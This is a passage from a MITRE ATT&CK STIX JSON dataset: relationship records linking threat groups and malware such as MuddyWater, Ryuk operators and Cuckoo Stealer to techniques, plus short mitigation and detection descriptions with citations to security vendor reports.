","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5853af0d-4716-4290-b3d9-63fadfd5f554","type":"relationship","created":"2020-06-23T19:12:25.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-16T21:02:05.524Z","description":"Denylist scripting where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5853ff4e-9982-4d66-bf98-6c22fa42f305","type":"relationship","created":"2020-05-21T21:31:34.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.404Z","description":"[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing emails which contained malicious links.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58545f9a-d2cf-4466-bc7f-9cdbdce25d70","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"},{"source_name":"MuddyWater TrendMicro June 2018","description":"Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:36:40.483Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has decoded base64-encoded PowerShell, JavaScript, and VBScript.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58565141-69f5-45c4-a7a9-f3eec03f403b","type":"relationship","created":"2021-03-19T21:04:01.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.008Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used rundll32.exe to load malicious DLLs.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--585842e6-fe9a-4508-8e67-c232f8aa5e76","created":"2020-11-10T18:04:03.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk in 5 Hours October 2020","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.652Z","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5859c58f-fc6a-4a08-ac8b-96fd21175814","created":"2022-06-02T12:35:01.537Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has used scheduled tasks for persistence and execution.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T12:35:01.537Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5859ee5b-c54b-4f2b-a6c7-6551046eb929","created":"2024-03-15T20:06:10.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:06:22.441Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) uses RunDLL32 for execution via its injector DLL.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--585d81e2-c7d9-4711-9dfc-71b422cf0f7a","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor newly executed processes that may establish persistence by executing malicious content triggered by an interrupt signal.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58643a55-d526-4536-935c-5c1b5c1d9b20","created":"2024-08-22T20:57:37.699Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T20:57:37.699Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) has staged collected application data from Safari, Notes, and Keychain to `/var/folder`.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--586872bf-c465-4752-818a-71e1cae66009","created":"2024-01-02T20:46:50.491Z","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T20:46:50.491Z","description":"[HUI Loader](https://attack.mitre.org/software/S1097) has the ability to disable Windows Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI) functions.(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--586b8b1d-109f-4f35-bcf8-589993d18681","type":"relationship","created":"2021-10-12T21:06:28.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:06:28.249Z","description":"[Cuba](https://attack.mitre.org/software/S0625) loaded the payload into memory using PowerShell.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--586d0572-cf64-4cc3-93a3-4ee11b49e9cd","created":"2024-01-10T20:54:31.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:49:26.606Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has sent loaders configured to run [Ninja](https://attack.mitre.org/software/S1100) as zip archives via Telegram.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58801cab-349a-4f09-b449-149b19bcf085","type":"relationship","created":"2020-06-23T19:20:46.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019.","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","source_name":"SecureList Griffon May 2019"}],"modified":"2020-06-23T19:20:46.002Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) is written in and executed as [JavaScript](https://attack.mitre.org/techniques/T1059/007).(Citation: SecureList Griffon May 2019)\t","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58835dc2-871f-493d-a66d-2ced96a5f7e2","created":"2023-04-12T20:54:43.275Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T20:54:43.275Z","description":"Monitor logs for abnormal modifications to application settings, such as the creation of malicious Exchange transport rules.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.004Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--588865e4-caec-4150-9c03-df5e28eb9c79","type":"relationship","created":"2019-01-30T19:18:20.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-11T21:57:19.560Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used the ioreg command to gather some of this information.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5893fbd3-f3c0-4332-b2e3-e6a07142ef9d","type":"relationship","created":"2021-09-21T15:16:40.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.532Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has dropped legitimate software onto a compromised host and used it to execute malicious DLLs.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5898ba12-3f7f-4891-96b5-a1d464487013","created":"2024-06-10T19:05:37.287Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:05:37.287Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) focuses on compromise of small office-home office (SOHO) network devices to build the subsequent botnet.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58996a9f-ab17-4942-9afd-bb336af9a15b","created":"2022-03-15T20:02:43.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.411Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a proprietary tool to intercept one time passwords required for two-factor authentication.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58a1976b-122d-41df-ae40-b66826ad8f4f","type":"relationship","created":"2021-04-20T12:38:47.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-20T12:38:47.958Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to delete files after they are deployed on a compromised host.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58a574e4-ba44-4472-92fe-c50a9a9cbb49","type":"relationship","created":"2020-12-14T20:22:53.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2020-12-14T20:22:53.391Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the cloud-based remote management and monitoring tool \"ConnectWise Control\" to deploy [REvil](https://attack.mitre.org/software/S0496).(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58a7f0d9-7c20-4808-b8be-bd6240267030","created":"2019-06-17T18:43:35.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.261Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) used letmein to scan for saved usernames on the target system.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58af622a-fa2a-40ec-9439-d0caa766e796","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for changes made to firmware. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MITRE Trustworthy Firmware Measurement","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.","url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"},{"source_name":"MITRE Copernicus","description":"Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.","url":"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"},{"source_name":"McAfee CHIPSEC Blog","description":"Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.","url":"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"},{"source_name":"Github CHIPSEC","description":"Intel. 